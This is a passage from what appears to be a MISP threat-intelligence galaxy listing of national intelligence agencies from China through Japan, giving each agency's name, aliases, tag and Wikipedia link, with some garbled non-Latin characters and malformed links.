https://en.wikipedia.org/wiki/Ministry_of_State_Security_(China)

Office for Safeguarding National Security of the CPG in the HKSAR

Office for Safeguarding National Security of the CPG in the HKSAR (CPGNSO)

The tag is: *misp-galaxy:intelligence-agency="Office for Safeguarding National Security of the CPG in the HKSAR"*

Table 1785. Table References

Links
https://en.wikipedia.org/wiki/Office_for_Safeguarding_National_Security_of_the_CPG_in_the_HKSAR

National Intelligence Directorate (Colombia)

Dirección Nacional de Inteligencia (DNI)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Directorate (Colombia)"*

Table 1786. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Directorate_(Colombia)

National Intelligence Agency (Democratic Republic of the Congo)

National Intelligence Agency (ANR)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Agency (Democratic Republic of the Congo)"*

Table 1787. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Agency_(Democratic_Republic_of_the_Congo)

DEMIAP

General Staff of Military intelligence (ex-DEMIAP)

The tag is: *misp-galaxy:intelligence-agency="DEMIAP"*

Table 1788. Table References

Links
https://en.wikipedia.org/wiki/DEMIAP

Security and Intelligence Agency

Sigurnosno-obavještajna agencija (SOA) (Security and Intelligence Agency)

The tag is: *misp-galaxy:intelligence-agency="Security and Intelligence Agency"*

Table 1789. Table References

Links
https://en.wikipedia.org/wiki/Security_and_Intelligence_Agency

Vojna sigurnosno-obavještajna agencija

Vojna sigurnosno-obavještajna agencija (VSOA) (Military Security and Intelligence Agency)

The tag is: *misp-galaxy:intelligence-agency="Vojna sigurnosno-obavještajna agencija"*

Table 1790. Table References

Links
https://en.wikipedia.org/wiki/Vojna_sigurnosno-obavje%C5%A1tajna_agencija

Dirección de Contra-Inteligencia Militar

Military Counterintelligence Directorate

The tag is: *misp-galaxy:intelligence-agency="Dirección de Contra-Inteligencia Militar"*

Table 1791. Table References

Links
https://en.wikipedia.org/wiki/Direcci%C3%B3n_de_Contra-Inteligencia_Militar

Intelligence Directorate

Dirección General de Inteligencia (DGI)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Directorate"*

Table 1792. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Directorate

Cyprus Intelligence Service

Cyprus Intelligence Service (CIS) (Κυπριακή Υπηρεσία Πληροφοριών)(ΚΥΠ), (former Central Intelligence Service-KYP)

The tag is: *misp-galaxy:intelligence-agency="Cyprus Intelligence Service"*

Table 1793. Table References

Links
https://en.wikipedia.org/wiki/Cyprus_Intelligence_Service

Security Information Service

Security Information Service (Bezpečnostní informační služba, BIS)

The tag is: *misp-galaxy:intelligence-agency="Security Information Service"*

Table 1794. Table References

Links
https://en.wikipedia.org/wiki/Security_Information_Service

Office for Foreign Relations and Information

Office for Foreign Relations and Information (Úřad pro zahraniční styky a informace, ÚZSI)

The tag is: *misp-galaxy:intelligence-agency="Office for Foreign Relations and Information"*

Table 1795. Table References

Links
https://en.wikipedia.org/wiki/Office_for_Foreign_Relations_and_Information

Military Intelligence (Czech Republic)

Military Intelligence (Vojenské zpravodajství, VZ)

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence (Czech Republic)"*

Table 1796. Table References

Links
https://en.wikipedia.org/wiki/Military_Intelligence_(Czech_Republic)

Danish Security and Intelligence Service

Danish Security and Intelligence Service (Politiets Efterretningstjeneste (PET)).

The tag is: *misp-galaxy:intelligence-agency="Danish Security and Intelligence Service"*

Table 1797. Table References

Links
https://en.wikipedia.org/wiki/Danish_Security_and_Intelligence_Service

Danish Defence Intelligence Service

Danish Defence Intelligence Service (Forsvarets Efterretningstjeneste (FE)).

The tag is: *misp-galaxy:intelligence-agency="Danish Defence Intelligence Service"*

Table 1798. Table References

Links

https://en.wikipedia.org/wiki/Danish_Defence_Intelligence_Service

Army Intelligence Center

Army Intelligence Center (Efterretningsregimentet (EFR)).

The tag is: *misp-galaxy:intelligence-agency="Army Intelligence Center"*

Table 1799. Table References

Links
https://en.wikipedia.org/wiki/Army_Intelligence_Center

Egyptian General Intelligence Directorate

Gihaz al-Mukhabarat al-Amma (GIS) (General Intelligence Service)

The tag is: *misp-galaxy:intelligence-agency="Egyptian General Intelligence Directorate"*

Table 1800. Table References

Links
https://en.wikipedia.org/wiki/Egyptian_General_Intelligence_Directorate

Military intelligence and reconnaissance (Egypt)

Idarat al-Mukhabarat al-Harbyya wa al-Istitla (OMIR) (Office of Military Intelligence and Reconnaissance)

The tag is: *misp-galaxy:intelligence-agency="Military intelligence and reconnaissance (Egypt)"*

Table 1801. Table References

Links
https://en.wikipedia.org/wiki/Military_intelligence_and_reconnaissance_(Egypt)

Egyptian Homeland security

Al-amn al-Watani (HS) (Homeland Security)

The tag is: *misp-galaxy:intelligence-agency="Egyptian Homeland security"*

Table 1802. Table References

Links
https://en.wikipedia.org/wiki/Egyptian_Homeland_security

National Security Office (Eritrea)

National Security Office

The tag is: *misp-galaxy:intelligence-agency="National Security Office (Eritrea)"*

Table 1803. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Office_(Eritrea)

Estonian Internal Security Service

Estonian Internal Security Service (KaPo) (Kaitsepolitseiamet)

The tag is: *misp-galaxy:intelligence-agency="Estonian Internal Security Service"*

Estonian Internal Security Service is also known as:

- Kaitsepolitseiamet

Table 1804. Table References

Links
https://en.wikipedia.org/wiki/Estonian_Internal_Security_Service

Estonian Foreign Intelligence Service

Estonian Foreign Intelligence Service (VLA) (Välisluureamet)

The tag is: *misp-galaxy:intelligence-agency="Estonian Foreign Intelligence Service"*

Estonian Foreign Intelligence Service is also known as:

- VLA
- Välisluureamet

Table 1805. Table References

Links
https://en.wikipedia.org/wiki/Estonian_Foreign_Intelligence_Service

National Intelligence and Security Service (Ethiopia)

National Intelligence and Security Service (NISS)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence and Security Service (Ethiopia)"*

Table 1806. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_and_Security_Service_(Ethiopia)

Finnish Defence Intelligence Agency

Finnish Defence Intelligence Agency – Puolustusvoimien tiedustelulaitos (PVTIEDL) / Försvarsmaktens underrättelsetjänst

The tag is: *misp-galaxy:intelligence-agency="Finnish Defence Intelligence Agency"*

Finnish Defence Intelligence Agency is also known as:

- Puolustusvoimien tiedustelulaitos (PVTIEDL)
- Försvarsmaktens underrättelsetjänst

Table 1807. Table References

Links
https://en.wikipedia.org/wiki/Finnish_Defence_Intelligence_Agency

Intelligence Division (Finland)

Defense Command Intelligence Division – Pääesikunnan tiedusteluosasto (PE TIEDOS) / Huvudstabens underrättelseavdelning)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Division (Finland)"*

Intelligence Division (Finland) is also known as:

- Pääesikunnan tiedusteluosasto (PE TIEDOS) / Huvudstabens underrättelseavdelning)

Table 1808. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Division_(Finland)

Finnish Security Intelligence Service

Finnish Security Intelligence Service (SUPO) – Suojelupoliisi / Skyddspolisen

The tag is: *misp-galaxy:intelligence-agency="Finnish Security Intelligence Service"*

Finnish Security Intelligence Service is also known as:

- Suojelupoliisi / Skyddspolisen

Table 1809. Table References

Links

https://en.wikipedia.org/wiki/Finnish_Security_Intelligence_Service

National Centre for Counter Terrorism

National Centre for Counter Terrorism (CNRLT, Coordination nationale du renseignement et de la lutte contre le terrorisme)

The tag is: *misp-galaxy:intelligence-agency="National Centre for Counter Terrorism"*

National Centre for Counter Terrorism is also known as:

- Coordination nationale du renseignement et de la lutte contre le terrorisme

Table 1810. Table References

Links
https://en.wikipedia.org/wiki/National_Centre_for_Counter_Terrorism

General Directorate for Internal Security

General Directorate for Internal Security (DGSI; Direction générale de la sécurité intérieure) – Domestic counter-terrorism and counter-espionage intelligence.

The tag is: *misp-galaxy:intelligence-agency="General Directorate for Internal Security"*

General Directorate for Internal Security is also known as:

- Direction générale de la sécurité intérieure

Table 1811. Table References

Links
https://en.wikipedia.org/wiki/General_Directorate_for_Internal_Security

direction nationale du renseignement territorial (DNRT)

direction nationale du renseignement territorial (DNRT)

The tag is: *misp-galaxy:intelligence-agency="direction nationale du renseignement territorial (DNRT)"*

direction nationale du renseignement territorial (DNRT) is also known as:

- direction nationale du renseignement territorial

Sous-direction anti-terroriste (SDAT)

Sous-direction anti-terroriste (SDAT)

The tag is: *misp-galaxy:intelligence-agency="Sous-direction anti-terroriste (SDAT)"*

Sous-direction anti-terroriste (SDAT) is also known as:

- Sous-direction anti-terroriste

Directorate-General for External Security

Directorate-General for External Security (DGSE; Direction générale de la sécurité extérieure) – Foreign intelligence relating to national security.

The tag is: *misp-galaxy:intelligence-agency="Directorate-General for External Security"*

Directorate-General for External Security is also known as:

- Direction générale de la sécurité extérieure

Table 1812. Table References

Links
https://en.wikipedia.org/wiki/Directorate-General_for_External_Security

DRSD

Direction du Renseignement et de la Sécurité de la Défense (DRSD; Direction du Renseignement et de la Sécurité de la Défense) – Foreign intelligence relating to national security.

The tag is: *misp-galaxy:intelligence-agency="DRSD"*

DRSD is also known as:

- Direction du Renseignement et de la Sécurité de la Défense

Table 1813. Table References

Links
https://en.wikipedia.org/wiki/DRSD

Direction du renseignement militaire

Directorate of Military Intelligence (DRM; Direction du renseignement militaire) – Military intelligence.

The tag is: *misp-galaxy:intelligence-agency="Direction du renseignement militaire"*

Table 1814. Table References

Links
https://en.wikipedia.org/wiki/Direction_du_renseignement_militaire

Tracfin

Tracfin

The tag is: *misp-galaxy:intelligence-agency="Tracfin"*

Table 1815. Table References

Links
https://en.wikipedia.org/wiki/Tracfin

Direction Nationale du Renseignement et des Enquêtes Douanières

Direction Nationale du Renseignement et des Enquêtes Douanières (DNRED)

The tag is: *misp-galaxy:intelligence-agency="Direction Nationale du Renseignement et des Enquêtes Douanières"*

Table 1816. Table References

Links
https://en.wikipedia.org/wiki/Direction_Nationale_du_Renseignement_et_des_Enqu%C3%AAtes_Douani%C3%A8res

State Intelligence Services (the Gambia)

State Intelligence Services (the Gambia) (SIS)

The tag is: *misp-galaxy:intelligence-agency="State Intelligence Services (the Gambia)"*

Table 1817. Table References

Links
https://en.wikipedia.org/wiki/State_Intelligence_Services_(the_Gambia)

State Security Service (Georgia)

State Security Service (SSSG) – □□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□

The tag is: *misp-galaxy:intelligence-agency="State Security Service (Georgia)"*

State Security Service (Georgia) is also known as:

- □□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□

Table 1818. Table References

Links

https://en.wikipedia.org/wiki/State_Security_Service_(Georgia)

Georgian Intelligence Service

Georgian Intelligence Service (GIS) – □□□□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□□

The tag is: *misp-galaxy:intelligence-agency="Georgian Intelligence Service"*

Georgian Intelligence Service is also known as:

- □□□□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□□

Table 1819. Table References

Links
https://en.wikipedia.org/wiki/Georgian_Intelligence_Service

Military Intelligence Department

Military Intelligence Department

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence Department"*

Bundesnachrichtendienst

Bundesnachrichtendienst (BND): Federal Intelligence Service

The tag is: *misp-galaxy:intelligence-agency="Bundesnachrichtendienst"*

Bundesnachrichtendienst is also known as:

- Federal Intelligence Service

Table 1820. Table References

Links
https://en.wikipedia.org/wiki/Bundesnachrichtendienst

Bundesamt für Verfassungsschutz

Bundesamt für Verfassungsschutz (BfV): Federal Office for the Protection of the Constitution

The tag is: *misp-galaxy:intelligence-agency="Bundesamt für Verfassungsschutz"*

Bundesamt für Verfassungsschutz is also known as:

- Federal Office for the Protection of the Constitution

Table 1821. Table References

Links
https://en.wikipedia.org/wiki/Bundesamt_f%C3%BCr_Verfassungsschutz

Federal Office for Information Security

Bundesamt für Sicherheit in der Informationstechnik (BSI): Federal Office for Information Security

The tag is: *misp-galaxy:intelligence-agency="Federal Office for Information Security"*

Table 1822. Table References

Links
https://en.wikipedia.org/wiki/Federal_Office_for_Information_Security

Zentrum für Informations- und Kommunikationstechnik (IKTZ): Center for information and communication technology

Zentrum für Informations- und Kommunikationstechnik (IKTZ): Center for information and communication technology

The tag is: *misp-galaxy:intelligence-agency="Zentrum für Informations- und Kommunikationstechnik (IKTZ): Center for information and communication technology"*

Zentrum für Informations- und Kommunikationstechnik (IKTZ): Center for information and communication technology is also known as:

- Center for information and communication technology

Militärischer Abschirmdienst

Militärischer Abschirmdienst (MAD): Military Counterintelligence Service

The tag is: *misp-galaxy:intelligence-agency="Militärischer Abschirmdienst"*

Militärischer Abschirmdienst is also known as:

- Military Counterintelligence Service

Table 1823. Table References

Links
https://en.wikipedia.org/wiki/Milit%C3%A4rischer_Abschirmdienst

State Authority for the Protection of the Constitution

Landesamt für Verfassungsschutz (LfV): (semi-independent) State Authority for the Protection of

the Constitution for every single state

The tag is: *misp-galaxy:intelligence-agency="State Authority for the Protection of the Constitution"*

Table 1824. Table References

Links
https://en.wikipedia.org/wiki/State_Authority_for_the_Protection_of_the_Constitution

Bureau of National Investigations

Bureau of National Investigations (BNI) – (Internal Intelligence Agency)

The tag is: *misp-galaxy:intelligence-agency="Bureau of National Investigations"*

Table 1825. Table References

Links
https://en.wikipedia.org/wiki/Bureau_of_National_Investigations

National Intelligence Service (Greece)

National Intelligence Service (ΕΥΠ) – Εθνική Υπηρεσία Πληροφοριών

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Service (Greece)"*

National Intelligence Service (Greece) is also known as:

- Εθνική Υπηρεσία Πληροφοριών

Table 1826. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Service_(Greece)

E Division – Intelligence Division

E Division – Intelligence Division

The tag is: *misp-galaxy:intelligence-agency="E Division – Intelligence Division"*

National Intelligence and Security Agency (NISA)[6][7][8][9]

National Intelligence and Security Agency (NISA)[6][7][8][9]

The tag is: *misp-galaxy:intelligence-agency="National Intelligence and Security Agency (NISA)[6][7][8][9]"*

Table 1827. Table References

Links
https://en.wikipedia.org#cite_note-6

Service d’Intelligence National

Service d’Intelligence National (SIN) (National Intelligence Service)

The tag is: *misp-galaxy:intelligence-agency="Service d’Intelligence National"*

Table 1828. Table References

Links
https://en.wikipedia.org/wiki/Service_d%27Intelligence_National

Információs Hivatal

Információs Hivatal (IH) (Information Office)

The tag is: *misp-galaxy:intelligence-agency="Információs Hivatal"*

Table 1829. Table References

Links
https://en.wikipedia.org/wiki/Inform%C3%A1ci%C3%B3s_Hivatal

Nemzetbiztonsági Hivatal

Alkotmányvédelmi Hivatal (AH) (Constitution Protection Office)

The tag is: *misp-galaxy:intelligence-agency="Nemzetbiztonsági Hivatal"*

Table 1830. Table References

Links
https://en.wikipedia.org/wiki/Nemzetbiztons%C3%A1gi_Hivatal

Terrorelhárítási Központ

Terrorelhárítási Központ (TEK) (Counter Terrorism Centre)

The tag is: *misp-galaxy:intelligence-agency="Terrorelhárítási Központ"*

Table 1831. Table References

Links
https://en.wikipedia.org/wiki/Terrorelh%C3%A1r%C3%ADt%C3%A1si_K%C3%B6zpont

Nemzetbiztonsági Szakszolgálat (NBSZ) (Special Service for National Security)

Nemzetbiztonsági Szakszolgálat (NBSZ) (Special Service for National Security)

The tag is: *misp-galaxy:intelligence-agency="Nemzetbiztonsági Szakszolgálat (NBSZ) (Special Service for National Security)"*

Nemzeti Információs Központ (NIK) (National Information Center)

Nemzeti Információs Központ (NIK) (National Information Center)

The tag is: *misp-galaxy:intelligence-agency="Nemzeti Információs Központ (NIK) (National Information Center)"*

Icelandic Police

The National Police Commissioner's Analysis Unit – Greiningardeild Ríkislögreglustjóra (GRLS)

The tag is: *misp-galaxy:intelligence-agency="Icelandic Police"*

Table 1832. Table References

Links
https://en.wikipedia.org/wiki/Icelandic_Police#The_Icelandic_Intelligence_Service

Icelandic Crisis Response Unit

Icelandic Defense Agency's Analysis Unit – Greiningardeild Varnarmálastofnunar Íslands (GVMSÍ) (Defunct)

The tag is: *misp-galaxy:intelligence-agency="Icelandic Crisis Response Unit"*

Table 1833. Table References

Links
https://en.wikipedia.org/wiki/Icelandic_Crisis_Response_Unit#Intelligence_gathering

Research and Analysis Wing

Research and Analysis Wing (R&AW)

The tag is: *misp-galaxy:intelligence-agency="Research and Analysis Wing"*

Table 1834. Table References

Links
https://en.wikipedia.org/wiki/Research_and_Analysis_Wing

Intelligence Bureau (India)

Intelligence Bureau (IB)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Bureau (India)"*

Table 1835. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Bureau_(India)

National Investigation Agency

National Investigation Agency[10]

The tag is: *misp-galaxy:intelligence-agency="National Investigation Agency"*

Table 1836. Table References

Links
https://en.wikipedia.org/wiki/National_Investigation_Agency

National Technical Research Organisation

National Technical Research Organisation (NTRO)[10]

The tag is: *misp-galaxy:intelligence-agency="National Technical Research Organisation"*

Table 1837. Table References

Links
https://en.wikipedia.org/wiki/National_Technical_Research_Organisation

Directorate of Revenue Intelligence

Directorate of Revenue Intelligence

The tag is: *misp-galaxy:intelligence-agency="Directorate of Revenue Intelligence"*

Table 1838. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Revenue_Intelligence

Ministry of Finance (India)

Economic Intelligence Council

The tag is: *misp-galaxy:intelligence-agency="Ministry of Finance (India)"*

Table 1839. Table References

Links
https://en.wikipedia.org/wiki/Ministry_of_Finance_(India)

Enforcement Directorate

Enforcement Directorate

The tag is: *misp-galaxy:intelligence-agency="Enforcement Directorate"*

Table 1840. Table References

Links
https://en.wikipedia.org/wiki/Enforcement_Directorate

Directorate General of GST Intelligence

Directorate General of GST Intelligence (DGGI)[11]

The tag is: *misp-galaxy:intelligence-agency="Directorate General of GST Intelligence"*

Table 1841. Table References

Links
https://en.wikipedia.org/wiki/Directorate_General_of_GST_Intelligence

Indian Army

Directorate of Military Intelligence

The tag is: *misp-galaxy:intelligence-agency="Indian Army"*

Table 1842. Table References

Links
https://en.wikipedia.org/wiki/Indian_Army

Directorate of Air Intelligence (India)

Directorate of Air Intelligence

The tag is: *misp-galaxy:intelligence-agency="Directorate of Air Intelligence (India)"*

Table 1843. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Air_Intelligence_(India)

Directorate of Naval Intelligence (India)

Directorate of Naval Intelligence

The tag is: *misp-galaxy:intelligence-agency="Directorate of Naval Intelligence (India)"*

Table 1844. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Naval_Intelligence_(India)

Joint Cipher Bureau

Joint Cipher Bureau

The tag is: *misp-galaxy:intelligence-agency="Joint Cipher Bureau"*

Table 1845. Table References

Links
https://en.wikipedia.org/wiki/Joint_Cipher_Bureau

State Intelligence Agency (Indonesia)

State Intelligence Agency (BIN) – Badan Intelijen Negara

The tag is: *misp-galaxy:intelligence-agency="State Intelligence Agency (Indonesia)"*

State Intelligence Agency (Indonesia) is also known as:

- Badan Intelijen Negara

Table 1846. Table References

Links
https://en.wikipedia.org/wiki/State_Intelligence_Agency_(Indonesia)

Indonesian Strategic Intelligence Agency

Indonesian Strategic Intelligence Agency (BAIS) – Badan Intelijen Strategis Tentara Nasional Indonesia

The tag is: *misp-galaxy:intelligence-agency="Indonesian Strategic Intelligence Agency"*

Indonesian Strategic Intelligence Agency is also known as:

- Badan Intelijen Strategis Tentara Nasional Indonesia

Table 1847. Table References

Links
https://en.wikipedia.org/wiki/Indonesian_Strategic_Intelligence_Agency

Indonesian Army Intelligence Centre

Indonesian Army Intelligence Centre (PUSINTELAD) – Pusat Intelijen Tentara Nasional Indonesia Angkatan Darat

The tag is: *misp-galaxy:intelligence-agency="Indonesian Army Intelligence Centre"*

Indonesian Army Intelligence Centre is also known as:

- Pusat Intelijen Tentara Nasional Indonesia Angkatan Darat

Table 1848. Table References

Links
https://en.wikipedia.org/wiki/Indonesian_Army_Intelligence_Centre

National Cyber and Crypto Agency

National Cyber and Crypto Agency (BSSN) – Badan Siber dan Sandi Negara

The tag is: *misp-galaxy:intelligence-agency="National Cyber and Crypto Agency"*

National Cyber and Crypto Agency is also known as:

- Badan Siber dan Sandi Negara

Table 1849. Table References

Links
https://en.wikipedia.org/wiki/National_Cyber_and_Crypto_Agency

Attorney General’s Office of Indonesia

Deputy Attorney General on Intelligence (Under the Attorney General’s Office) – Jaksa Agung Muda Bidang Intelijen Kejaksaan Agung

The tag is: *misp-galaxy:intelligence-agency="Attorney General’s Office of Indonesia"*

Attorney General’s Office of Indonesia is also known as:

- Jaksa Agung Muda Bidang Intelijen Kejaksaan Agung

Table 1850. Table References

Links
https://en.wikipedia.org/wiki/Attorney_General%27s_Office_of_Indonesia

Directorate General of Immigration (Indonesia)

Directorate of Immigration Intelligence – Direktorat Intelijen Imigrasi

The tag is: *misp-galaxy:intelligence-agency="Directorate General of Immigration (Indonesia)"*

Directorate General of Immigration (Indonesia) is also known as:

- Direktorat Intelijen Imigrasi

Table 1851. Table References

Links
https://en.wikipedia.org/wiki/Directorate_General_of_Immigration_(Indonesia)

National Anti-Narcotics Agency (Indonesia)

National Narcotics Agency Intelligence Section – Seksi Intelijen Badan Narkotika Nasional

The tag is: *misp-galaxy:intelligence-agency="National Anti-Narcotics Agency (Indonesia)"*

National Anti-Narcotics Agency (Indonesia) is also known as:

- Seksi Intelijen Badan Narkotika Nasional

Table 1852. Table References

Links
https://en.wikipedia.org/wiki/National_Anti-Narcotics_Agency_(Indonesia)

id:Badan Intelijen dan Keamanan Kepolisian Negara Republik Indonesia

Indonesian National Police Intelligence and Security Agency - Badan Intelijen dan Keamanan Kepolisian Negara Republik Indonesia

The tag is: *misp-galaxy:intelligence-agency="id:Badan Intelijen dan Keamanan Kepolisian Negara Republik Indonesia"*

id:Badan Intelijen dan Keamanan Kepolisian Negara Republik Indonesia is also known as:

- Badan Intelijen dan Keamanan Kepolisian Negara Republik Indonesia

Table 1853. Table References

Links
https://en.wikipedia.orghttps://id.wikipedia.org/wiki/Badan_Intelijen_dan_Keamanan_Kepolisian_Negara_Republik_Indonesia

Directorate General of Customs and Excise (Indonesia)

Customs & Excise Sub-Directorate of Intelligence – Sub-Direktorat Intelijen Direktorat Jenderal Bea Cukai

The tag is: *misp-galaxy:intelligence-agency="Directorate General of Customs and Excise (Indonesia)"*

Directorate General of Customs and Excise (Indonesia) is also known as:

- Sub-Direktorat Intelijen Direktorat Jenderal Bea Cukai

Table 1854. Table References

Links
https://en.wikipedia.org/wiki/Directorate_General_of_Customs_and_Excise_(Indonesia)

Indonesian Financial Transaction Reports and Analysis Center

Indonesian Financial Transaction Reports and Analysis Center (PPATK) – Pusat Pelaporan dan Analisis Transaksi Keuangan

The tag is: *misp-galaxy:intelligence-agency="Indonesian Financial Transaction Reports and Analysis Center"*

Indonesian Financial Transaction Reports and Analysis Center is also known as:

- Pusat Pelaporan dan Analisis Transaksi Keuangan

Table 1855. Table References

Links
https://en.wikipedia.org/wiki/Indonesian_Financial_Transaction_Reports_and_Analysis_Center

Ministry of Intelligence (Iran)

Ministry of Intelligence (VAJA)

The tag is: *misp-galaxy:intelligence-agency="Ministry of Intelligence (Iran)"*

Table 1856. Table References

Links

https://en.wikipedia.org/wiki/Ministry_of_Intelligence_(Iran)

Oghab 2

Oghab 2 – Nuclear facilities security

The tag is: *misp-galaxy:intelligence-agency="Oghab 2"*

Table 1857. Table References

Links
https://en.wikipedia.org/wiki/Oghab_2

Council for Intelligence Coordination

Council for Intelligence Coordination

The tag is: *misp-galaxy:intelligence-agency="Council for Intelligence Coordination"*

Table 1858. Table References

Links
https://en.wikipedia.org/wiki/Council_for_Intelligence_Coordination

Intelligence Protection Organization of Islamic Republic of Iran Army

Intelligence Protection Organization of Iranian Army (SAHEFAJA)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Protection Organization of Islamic Republic of Iran Army"*

Table 1859. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Protection_Organization_of_Islamic_Republic_of_Iran_Army

Intelligence Organization of Army of the Guardians of the Islamic Revolution

Intelligence Organization of IRGC

The tag is: *misp-galaxy:intelligence-agency="Intelligence Organization of Army of the Guardians of the Islamic Revolution"*

Table 1860. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Organization_of_Army_of_the_Guardians_of_the_Islamic_Revolution

Intelligence Protection Organization of Army of the Guardians of the Islamic Revolution

Intelligence Protection Organization of IRGC (SAHEFASA)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Protection Organization of Army of the Guardians of the Islamic Revolution"*

Table 1861. Table References

Links
https://en.wikipedia.org/wiki/Intelligence_Protection_Organization_of_Army_of_the_Guardians_of_the_Islamic_Revolution

Intelligence org of FARAJA

Intelligence org of FARAJA

The tag is: *misp-galaxy:intelligence-agency="Intelligence org of FARAJA"*

Intelligence org of the Islamic Republic of Iran[12]

Intelligence org of the Islamic Republic of Iran[12]

The tag is: *misp-galaxy:intelligence-agency="Intelligence org of the Islamic Republic of Iran[12]"*

Table 1862. Table References

Links
https://en.wikipedia.org#cite_note-12

General Security Directorate (Iraq)

General Security Directorate - (GSD) - (Internal security agency)

The tag is: *misp-galaxy:intelligence-agency="General Security Directorate (Iraq)"*

Table 1863. Table References

Links
https://en.wikipedia.org/wiki/General_Security_Directorate_(Iraq)

Iraqi National Intelligence Service

Iraqi National Intelligence Service - (INIS) - (Foreign intelligence and Special operations)

The tag is: *misp-galaxy:intelligence-agency="Iraqi National Intelligence Service"*

Table 1864. Table References

Links
https://en.wikipedia.org/wiki/Iraqi_National_Intelligence_Service

Falcons Intelligence Cell

Falcons Intelligence Cell - (FIC) - (Military intelligence)

The tag is: *misp-galaxy:intelligence-agency="Falcons Intelligence Cell"*

Table 1865. Table References

Links
https://en.wikipedia.org/wiki/Falcons_Intelligence_Cell

Kurdistan Region Security Council

Kurdistan Region Security Council (KRSC) - (Regional security agency)

The tag is: *misp-galaxy:intelligence-agency="Kurdistan Region Security Council"*

Table 1866. Table References

Links
https://en.wikipedia.org/wiki/Kurdistan_Region_Security_Council

Intelligence and Counter-Terrorism Directorate - Ministry of Interior

Intelligence and Counter-Terrorism Directorate - Ministry of Interior

The tag is: *misp-galaxy:intelligence-agency="Intelligence and Counter-Terrorism Directorate - Ministry of Interior"*

Directorate of Military Intelligence (Ireland)

Directorate of Military Intelligence (G2)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Military Intelligence (Ireland)"*

Table 1867. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Military_Intelligence_(Ireland)

CIS Corps (Ireland)

Communications and Information Services Corps (CIS) SIGINT Section

The tag is: *misp-galaxy:intelligence-agency="CIS Corps (Ireland)"*

Table 1868. Table References

Links
https://en.wikipedia.org/wiki/CIS_Corps_(Ireland)

Special Detective Unit

Special Detective Unit (SDU)

The tag is: *misp-galaxy:intelligence-agency="Special Detective Unit"*

Table 1869. Table References

Links
https://en.wikipedia.org/wiki/Special_Detective_Unit

Garda National Surveillance Unit

National Surveillance Unit (NSU)

The tag is: *misp-galaxy:intelligence-agency="Garda National Surveillance Unit"*

Table 1870. Table References

Links
https://en.wikipedia.org/wiki/Garda_National_Surveillance_Unit

National Economic Crime Bureau

Financial Intelligence Unit (FIU)

The tag is: *misp-galaxy:intelligence-agency="National Economic Crime Bureau"*

Table 1871. Table References

Links
https://en.wikipedia.org/wiki/National_Economic_Crime_Bureau

Mossad

Mossad (Foreign Intelligence and Special Operations)

The tag is: *misp-galaxy:intelligence-agency="Mossad"*

Table 1872. Table References

Links
https://en.wikipedia.org/wiki/Mossad

Shin Bet

Shin Bet (Internal Security Service)

The tag is: *misp-galaxy:intelligence-agency="Shin Bet"*

Table 1873. Table References

Links
https://en.wikipedia.org/wiki/Shin_Bet

Military Intelligence Directorate (Israel)

Aman (Military intelligence)

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence Directorate (Israel)"*

Table 1874. Table References

Links
https://en.wikipedia.org/wiki/Military_Intelligence_Directorate_(Israel)

Lahav 433

Lahav 433 (Police intelligence)

The tag is: *misp-galaxy:intelligence-agency="Lahav 433"*

Table 1875. Table References

Links
https://en.wikipedia.org/wiki/Lahav_433

Agenzia Informazioni e Sicurezza Interna

Agenzia Informazioni e Sicurezza Interna (AISI) - Agency for Internal Information and Security

The tag is: *misp-galaxy:intelligence-agency="Agenzia Informazioni e Sicurezza Interna"*

Table 1876. Table References

Links
https://en.wikipedia.org/wiki/Agenzia_Informazioni_e_Sicurezza_Interna

Agenzia Informazioni e Sicurezza Esterna

Agenzia Informazioni e Sicurezza Esterna (AISE) - Agency for External Information and Security

The tag is: *misp-galaxy:intelligence-agency="Agenzia Informazioni e Sicurezza Esterna"*

Table 1877. Table References

Links
https://en.wikipedia.org/wiki/Agenzia_Informazioni_e_Sicurezza_Esterna

Centro Intelligence Interforze

Centro Intelligence Interforze (CII) - Joint Intelligence Center

The tag is: *misp-galaxy:intelligence-agency="Centro Intelligence Interforze"*

Table 1878. Table References

Links
https://en.wikipedia.org/wiki/Centro_Intelligence_Interforze

Financial Investigations Division (FID)[14]

Financial Investigations Division (FID)[14]

The tag is: *misp-galaxy:intelligence-agency="Financial Investigations Division (FID)[14]"*

Table 1879. Table References

Links
https://en.wikipedia.org#cite_note-14

Cabinet Intelligence and Research Office

Cabinet Intelligence and Research Office (CIRO)

The tag is: *misp-galaxy:intelligence-agency="Cabinet Intelligence and Research Office"*

Table 1880. Table References

Links

https://en.wikipedia.org/wiki/Cabinet_Intelligence_and_Research_Office

Defense Intelligence Headquarters

Defense Intelligence Headquarters (DIH)

The tag is: *misp-galaxy:intelligence-agency="Defense Intelligence Headquarters"*

Table 1881. Table References

Links
https://en.wikipedia.org/wiki/Defense_Intelligence_Headquarters

Public Security Intelligence Agency

Public Security Intelligence Agency (PSIA)

The tag is: *misp-galaxy:intelligence-agency="Public Security Intelligence Agency"*

Table 1882. Table References

Links
